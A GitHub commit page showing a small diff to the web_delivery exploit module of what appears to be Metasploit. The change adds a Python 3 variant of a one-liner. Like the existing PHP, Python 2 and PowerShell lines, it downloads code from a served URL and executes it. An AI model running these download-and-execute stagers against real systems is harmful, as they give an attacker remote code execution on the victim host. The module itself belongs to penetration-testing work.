We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent c0c1ac3 commit e51063aCopy full SHA for e51063a
modules/exploits/multi/script/web_delivery.rb
@@ -86,7 +86,10 @@ def primer
86
when 'PHP'
87
print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
88
when 'Python'
89
+ print_line("python 2:")
90
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
91
+ print_line("Python 3:")
92
+ print_line("python3 -c \"import urllib.request; r = urllib.request.urlopen('#{url}'); exec(r.read());\"")
93
when 'PSH'
94
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
95
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)
0 commit comments